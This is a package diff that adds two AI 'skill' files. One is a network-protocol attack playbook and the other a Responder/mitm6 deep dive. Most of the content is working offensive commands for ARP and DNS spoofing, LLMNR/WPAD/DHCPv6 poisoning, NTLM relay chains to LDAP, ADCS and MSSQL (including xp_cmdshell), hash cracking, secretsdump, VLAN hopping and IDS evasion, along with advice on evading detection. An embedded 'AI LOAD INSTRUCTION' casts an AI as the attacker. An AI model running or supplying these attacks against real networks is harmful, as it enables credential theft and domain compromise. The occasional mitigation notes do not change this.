ineedcodes 1.6.0 → 1.7.0

package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md

@@ -0,0 +1,226 @@
+---
+name: name-resolution-poisoning
+description: >-
+  Deep-dive into LLMNR/NBT-NS/mDNS poisoning with Responder and mitm6. Covers credential capture workflows, relay target selection, hash format analysis, and attack chaining.
+---
+
+# NAME RESOLUTION POISONING — Responder & mitm6 Deep Dive
+
+> Supplementary reference for [network-protocol-attacks](./SKILL.md) §2–§4. Load when you need detailed Responder configuration, relay chaining, or credential format analysis.
+
+---
+
+## 1. RESPONDER CONFIGURATION
+
+### Core Config — `/opt/Responder/Responder.conf`
+
+```ini
+[Responder Core]
+; Turn specific servers on/off
+SQL      = On
+SMB      = On
+RDP      = On
+Kerberos = On
+FTP      = On
+POP      = On
+SMTP     = On
+IMAP     = On
+HTTP     = On
+HTTPS    = On
+DNS      = On
+LDAP     = On
+DCERPC   = On
+WinRM    = On
+
+; Authentication type
+; For relay: use Off for SMB and HTTP to avoid capturing (let ntlmrelayx handle it)
+; For capture: keep On
+
+[HTTP Server]
+; Challenge to use for HTTP NTLM
+Challenge = Random
+```
+
+### Responder for Capture Mode
+
+```bash
+# Full capture — all protocols
+responder -I eth0 -dwPv
+
+# Output: /opt/Responder/logs/
+# Files: HTTP-NTLMv2-CLIENT_IP.txt, SMB-NTLMv2-CLIENT_IP.txt, etc.
+# Format: USER::DOMAIN:challenge:response:blob
+```
+
+### Responder for Relay Mode
+
+```bash
+# Disable SMB and HTTP servers in Responder.conf (let ntlmrelayx handle auth)
+# Responder.conf: SMB = Off, HTTP = Off
+
+responder -I eth0 -dwPv
+
+# In parallel terminal:
+ntlmrelayx.py -tf targets.txt -smb2support
+```
+
+---
+
+## 2. RELAY TARGET SELECTION
+
+### Identify Targets Without SMB Signing
+
+```bash
+# CrackMapExec — find hosts with SMB signing disabled
+crackmapexec smb SUBNET/24 --gen-relay-list targets.txt
+# Output: targets.txt with IPs where signing is not required
+
+# Nmap
+nmap -p 445 --script smb2-security-mode SUBNET/24
+# Look for: "Message signing enabled but not required"
+```
+
+### Relay Targets by Protocol
+
+| Relay Target | Requirement | Command | Impact |
+|---|---|---|---|
+| SMB | Signing not required | `ntlmrelayx.py -tf targets.txt` | Code execution if admin |
+| LDAP(S) | Signing not enforced on DC | `ntlmrelayx.py -t ldaps://DC` | Modify AD objects, RBCD |
+| MSSQL | No EPA | `ntlmrelayx.py -t mssql://DB -q "QUERY"` | SQL execution |
+| HTTP(S) | NTLM auth accepted | `ntlmrelayx.py -t http://TARGET/endpoint` | Web action as victim |
+| IMAP | NTLM auth | `ntlmrelayx.py -t imap://EXCHANGE` | Email access |
+| SMTP | NTLM auth | `ntlmrelayx.py -t smtp://EXCHANGE` | Send email as victim |
+
+### High-Value Relay Chains
+
+```bash
+# Chain 1: Responder → ntlmrelayx → LDAP → RBCD → silver ticket
+ntlmrelayx.py -t ldaps://DC01 --delegate-access
+# Creates machine account, sets RBCD → use getST.py for service ticket
+
+# Chain 2: Responder → ntlmrelayx → LDAP → shadow credentials
+ntlmrelayx.py -t ldaps://DC01 --shadow-credentials --shadow-target TARGET$
+
+# Chain 3: Responder → ntlmrelayx → ADCS → certificate
+ntlmrelayx.py -t http://CA01/certsrv/certfnsh.asp --adcs --template DomainController
+
+# Chain 4: mitm6 → ntlmrelayx → LDAP → delegate
+mitm6 -d domain.com &
+ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com --delegate-access
+```
+
+---
+
+## 3. CREDENTIAL FORMAT ANALYSIS
+
+### NetNTLMv1 Hash
+
+```
+user::DOMAIN:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE
+```
+
+- Hashcat mode: `5500`
+- Can be downgraded if Responder uses a fixed challenge (`1122334455667788`)
+- With fixed challenge → crack via `crack.sh` / rainbow tables instantly
+
+```bash
+# Force NTLMv1 downgrade (Responder.conf):
+Challenge = 1122334455667788
+
+# Then submit to crack.sh or use rainbow tables
+# NTLMv1 with ESS: extract the real NT hash via DES cracking
+```
+
+### NetNTLMv2 Hash
+
+```
+user::DOMAIN:SERVER_CHALLENGE:NTProofStr:BLOB
+```
+
+- Hashcat mode: `5600`
+- Cannot use rainbow tables (includes random client challenge)
+- Requires dictionary + rules attack
+
+```bash
+hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
+hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/dive.rule
+```
+
+### Cracking Priority
+
+```
+1. NTLMv1 (mode 5500) → crack first, fastest
+2. NTLMv1-ESS with fixed challenge → crack.sh for free
+3. NTLMv2 (mode 5600) → dictionary + rules
+4. If cracking fails → relay instead of crack
+```
+
+---
+
+## 4. mitm6 DETAILED WORKFLOW
+
+### Prerequisites
+
+```bash
+pip install mitm6
+# Requires: scapy, twisted, ldap3
+```
+
+### Attack Flow
+
+```
+Step 1: mitm6 sends DHCPv6 replies → victim gets IPv6 + attacker as DNS
+Step 2: Victim DNS queries (IPv6) go to attacker
+Step 3: Attacker returns WPAD config → forces NTLM auth
+Step 4: ntlmrelayx captures NTLM and relays to target
+```
+
+```bash
+# Terminal 1: mitm6
+mitm6 -d domain.com -i eth0
+
+# Terminal 2: ntlmrelayx with LDAP relay
+ntlmrelayx.py -6 -t ldaps://DC01.domain.com -wh fakewpad.domain.com -l lootdir
+
+# -6       : listen on IPv6
+# -wh      : WPAD host to inject
+# -l       : loot directory for dumped data
+# --delegate-access : create machine account + set RBCD
+```
+
+### Post-Exploitation After Successful Relay
+
+```bash
+# If --delegate-access succeeded:
+# 1. Get service ticket via RBCD
+getST.py -spn cifs/TARGET.domain.com -impersonate administrator \
+    domain.com/'MACHINE$':'PASSWORD' -dc-ip DC_IP
+
+# 2. Use ticket
+export KRB5CCNAME=administrator.ccache
+secretsdump.py -k -no-pass TARGET.domain.com
+```
+
+---
+
+## 5. TROUBLESHOOTING
+
+| Issue | Cause | Fix |
+|---|---|---|
+| No hashes captured | LLMNR/NBT-NS disabled via GPO | Try mitm6 (DHCPv6 is harder to disable) |
+| Only machine accounts | Machines query more than users | Wait, trigger user queries (e.g., phish link to `\\attacker\share`) |
+| Relay fails "signing required" | Target enforces SMB signing | Relay to LDAP/HTTP/MSSQL instead |
+| mitm6 no response | IPv6 disabled on target | Fall back to LLMNR/WPAD |
+| NTLMv2 won't crack | Strong password | Use relay, don't waste time cracking |
+| Responder conflicts | Another LLMNR responder on network | Check for legitimate WPAD/LLMNR, use `-A` mode first |
+
+---
+
+## 6. OPSEC CONSIDERATIONS
+
+- Run Responder in analyze mode (`-A`) first to assess traffic
+- Limit poisoning to specific targets to reduce noise
+- Use `--lm` flag in Responder only if NTLMv1 downgrade is needed
+- mitm6 affects all hosts on segment — use `-hw` to filter targets
+- Clean up DHCPv6 leases after attack (they persist ~300 seconds)
+- Monitor for AV/EDR alerting on tool signatures

package/skills/network-protocol-attacks/SKILL.md

@@ -0,0 +1,330 @@
+---
+name: network-protocol-attacks
+description: >-
+  Network protocol attack playbook. Use when exploiting layer 2/3 protocols including ARP spoofing, LLMNR/NBT-NS/mDNS poisoning, WPAD abuse, DHCPv6 attacks, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion.gated: true
+---
+
+# SKILL: Network Protocol Attacks — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert network protocol attack techniques. Covers ARP spoofing, name resolution poisoning (LLMNR/NBT-NS/mDNS), WPAD abuse, DHCPv6 takeover, VLAN hopping, STP manipulation, DNS spoofing, IPv6 attacks, and IDS/IPS evasion. Base models miss the chaining opportunities between these attacks and the nuances of modern switched network exploitation.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after establishing MitM position for traffic redirection
+- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for relaying captured NTLM hashes from poisoning attacks
+- [unauthorized-access-common-services](../unauthorized-access-common-services/SKILL.md) for exploiting services discovered during network attacks
+- [traffic-analysis-pcap](../traffic-analysis-pcap/SKILL.md) for analyzing captured traffic from MitM
+
+### Advanced Reference
+
+Also load [NAME_RESOLUTION_POISONING.md](./NAME_RESOLUTION_POISONING.md) when you need:
+- Detailed Responder/mitm6 configuration and workflows
+- NTLM relay target selection and chaining
+- Credential format analysis and cracking priorities
+
+---
+
+## 1. ARP SPOOFING
+
+### Gratuitous ARP — MitM Positioning
+
+```bash
+# arpspoof (dsniff suite)
+echo 1 > /proc/sys/net/ipv4/ip_forward
+arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
+arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &
+
+# ettercap — ARP poisoning with sniffing
+ettercap -T -q -i eth0 -M arp:remote /VICTIM_IP// /GATEWAY_IP//
+
+# bettercap — modern framework
+bettercap -iface eth0
+> set arp.spoof.targets VICTIM_IP
+> arp.spoof on
+> net.sniff on
+```
+
+### Selective Targeting
+
+```bash
+# bettercap — target specific hosts, avoid detection
+> set arp.spoof.targets 10.0.0.50,10.0.0.51
+> set arp.spoof.fullduplex true
+> set arp.spoof.internal true
+> arp.spoof on
+```
+
+### Detection Indicators
+
+- Duplicate MAC addresses in ARP table
+- Gratuitous ARP storms from non-gateway IPs
+- Tools: `arpwatch`, static ARP entries, 802.1X port authentication
+
+---
+
+## 2. LLMNR / NBT-NS / mDNS POISONING
+
+### Responder — Credential Capture
+
+```bash
+# Basic poisoning (LLMNR + NBT-NS + mDNS)
+responder -I eth0 -dwPv
+
+# Key flags:
+# -d  Enable answers for DHCP broadcast requests (fingerprinting)
+# -w  Start WPAD rogue proxy
+# -P  Force NTLM auth for WPAD
+# -v  Verbose
+
+# Analyze mode only (passive, no poisoning)
+responder -I eth0 -A
+```
+
+### Captured Hash Formats
+
+| Protocol | Hash Type | Hashcat Mode | Crackability |
+|---|---|---|---|
+| NTLMv1 | NetNTLMv1 | 5500 | Fast — rainbow tables viable |
+| NTLMv2 | NetNTLMv2 | 5600 | Moderate — dictionary + rules |
+| NTLMv1-ESS | NetNTLMv1 | 5500 | Fast — same as NTLMv1 |
+
+```bash
+# Crack captured hashes
+hashcat -m 5600 hashes.txt wordlist.txt -r rules/best64.rule
+john --format=netntlmv2 hashes.txt --wordlist=wordlist.txt
+```
+
+### Relay Instead of Crack
+
+```bash
+# ntlmrelayx — relay captured NTLM to other services
+ntlmrelayx.py -tf targets.txt -smb2support
+ntlmrelayx.py -t ldaps://DC01 --delegate-access    # RBCD attack
+ntlmrelayx.py -t mssql://DB01 -q "exec xp_cmdshell 'whoami'"
+```
+
+---
+
+## 3. WPAD ABUSE
+
+```bash
+# Responder with WPAD proxy
+responder -I eth0 -wPv
+
+# WPAD flow:
+# 1. Client queries DHCP for WPAD → DNS for wpad.domain.com → LLMNR/NBT-NS
+# 2. Responder answers with rogue wpad.dat
+# 3. Browser uses attacker's proxy → forced NTLM auth → credential capture
+```
+
+### Manual WPAD PAC File
+
+```javascript
+// Rogue wpad.dat content
+function FindProxyForURL(url, host) {
+    return "PROXY ATTACKER_IP:3128; DIRECT";
+}
+```
+
+---
+
+## 4. DHCPv6 ATTACK — mitm6
+
+Even on IPv4-only networks, Windows clients send DHCPv6 solicitations by default.
+
+```bash
+# mitm6 → DNS takeover → NTLM relay
+mitm6 -d domain.com
+
+# In parallel: relay captured NTLM to LDAP(S) for delegation
+ntlmrelayx.py -6 -t ldaps://DC01 -wh fakewpad.domain.com -l loot --delegate-access
+
+# Attack chain:
+# 1. mitm6 answers DHCPv6 → sets attacker as IPv6 DNS
+# 2. Victim DNS queries go to attacker → WPAD redirect
+# 3. Forced NTLM auth → relay to LDAP → create machine account or RBCD
+```
+
+### Key Conditions
+
+- SMB signing disabled on targets (for SMB relay)
+- LDAP signing not enforced on DC (for LDAP relay)
+- Domain Computers quota > 0 (for machine account creation, default: 10)
+
+---
+
+## 5. VLAN HOPPING
+
+### Switch Spoofing (DTP)
+
+```bash
+# yersinia — DTP attack to negotiate trunk
+yersinia dtp -attack 1 -interface eth0
+
+# frogger.sh — automated VLAN hopping via DTP
+./frogger.sh
+# Sends DTP frames → switch enables trunking → access all VLANs
+
+# After trunk established:
+modprobe 8021q
+vconfig add eth0 TARGET_VLAN
+ifconfig eth0.TARGET_VLAN 10.10.10.1 netmask 255.255.255.0 up
+```
+
+### Double Tagging (802.1Q)
+
+```bash
+# Craft double-tagged frame: outer=native VLAN, inner=target VLAN
+# scapy:
+from scapy.all import *
+pkt = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=100)/IP(dst="TARGET")/ICMP()
+sendp(pkt, iface="eth0")
+
+# Limitation: one-way only (responses go to real gateway)
+# Effective for blind attacks (e.g., targeting a server)
+```
+
+### Mitigation
+
+- Disable DTP: `switchport nonegotiate`
+- Set native VLAN to unused: `switchport trunk native vlan 999`
+- Prune VLANs: only allow needed VLANs on trunk ports
+
+---
+
+## 6. STP MANIPULATION
+
+### Root Bridge Claim
+
+```bash
+# yersinia — claim root bridge with lowest priority
+yersinia stp -attack 4 -interface eth0
+
+# Send BPDUs with priority 0 → become root bridge
+# All traffic flows through attacker → MitM
+```
+
+### Topology Change Attack
+
+```bash
+# Send TC (Topology Change) BPDUs → force MAC table flush
+yersinia stp -attack 1 -interface eth0
+# Switches flood all ports temporarily → sniff traffic
+```
+
+### Mitigation
+
+- BPDU Guard on access ports
+- Root Guard on designated ports
+- `spanning-tree portfast bpduguard enable`
+
+---
+
+## 7. DNS SPOOFING
+
+### DNS Cache Poisoning
+
+```bash
+# bettercap DNS spoofing
+bettercap -iface eth0
+> set dns.spoof.domains target.com, *.target.com
+> set dns.spoof.address ATTACKER_IP
+> dns.spoof on
+
+# ettercap DNS spoofing (via etter.dns config)
+echo "target.com A ATTACKER_IP" >> /etc/ettercap/etter.dns
+ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /VICTIM// /GATEWAY//
+```
+
+### Kaminsky Attack Variant
+
+Flood recursive resolver with forged responses for random subdomains, each including a malicious authority section pointing the NS record to attacker-controlled server.
+
+---
+
+## 8. IPv6 ATTACKS
+
+### Router Advertisement Spoofing
+
+```bash
+# Send rogue RA → victim configures attacker as default gateway
+atk6-fake_router6 eth0 ATTACKER_IPV6_PREFIX/64
+
+# THC-IPv6 suite for comprehensive IPv6 attacks
+atk6-parasite6 eth0     # ICMPv6 neighbor spoofing
+atk6-redir6 eth0 ...    # Traffic redirection via ICMPv6 redirect
+```
+
+### SLAAC Abuse
+
+```bash
+# Advertise rogue prefix → victim auto-configures IPv6 address
+# Combined with rogue DNS (RA option) → full MitM over IPv6
+# Windows prioritizes IPv6 over IPv4 by default
+```
+
+---
+
+## 9. IDS/IPS EVASION
+
+| Technique | Method | Tool/Flag |
+|---|---|---|
+| IP Fragmentation | Split payload across fragments | `nmap -f`, `fragroute` |
+| TTL Manipulation | Set TTL to expire at IDS but reach target | `fragroute` |
+| Encoding Evasion | URL/Unicode/hex encoding | Manual, custom scripts |
+| Session Splicing | Split TCP payload across segments | `fragroute`, `nmap --data-length` |
+| Timing-Based | Slow scan to avoid rate-based detection | `nmap -T0`, `nmap -T1` |
+| Decoy Scanning | Mix real scan with decoy source IPs | `nmap -D RND:10` |
+| Idle/Zombie Scan | Use idle host as scan proxy | `nmap -sI ZOMBIE_IP` |
+
+```bash
+# fragroute — fragment and reorder packets
+echo "ip_frag 8" > /tmp/frag.conf
+echo "order random" >> /tmp/frag.conf
+fragroute -f /tmp/frag.conf TARGET_IP
+
+# nmap evasion combinations
+nmap -sS -f --mtu 24 --data-length 50 -D RND:5 -T2 TARGET
+```
+
+---
+
+## 10. DECISION TREE
+
+```
+Network access obtained — want to escalate via network attacks
+│
+├── On same broadcast domain as targets?
+│   ├── YES → ARP spoof for MitM (§1)
+│   │   └── Capture plaintext creds or redirect traffic
+│   └── NO → need VLAN hopping first (§5)
+│       ├── DTP enabled? → switch spoofing
+│       └── Know native VLAN? → double tagging
+│
+├── Windows environment?
+│   ├── LLMNR/NBT-NS enabled? (default YES)
+│   │   └── Run Responder (§2) → capture NetNTLM hashes
+│   │       ├── NTLMv1? → crack fast or relay
+│   │       └── NTLMv2? → relay (§2) or crack with rules
+│   │
+│   ├── WPAD configured or auto-detect? → WPAD abuse (§3)
+│   │
+│   └── IPv6 not hardened? (default) → mitm6 + ntlmrelayx (§4)
+│       └── LDAP relay → RBCD → domain compromise
+│
+├── Need DNS control?
+│   ├── MitM already established? → DNS spoofing (§7)
+│   └── DHCPv6 available? → mitm6 for DNS takeover (§4)
+│
+├── Managed switches with weak config?
+│   ├── BPDU Guard off? → STP root bridge claim (§6)
+│   └── DTP enabled? → VLAN hopping (§5)
+│
+├── IPv6 attack surface?
+│   └── RA spoofing / SLAAC abuse (§8) → MitM over IPv6
+│
+└── IDS/IPS in path?
+    └── Apply evasion techniques (§9) — fragmentation, timing, encoding
+```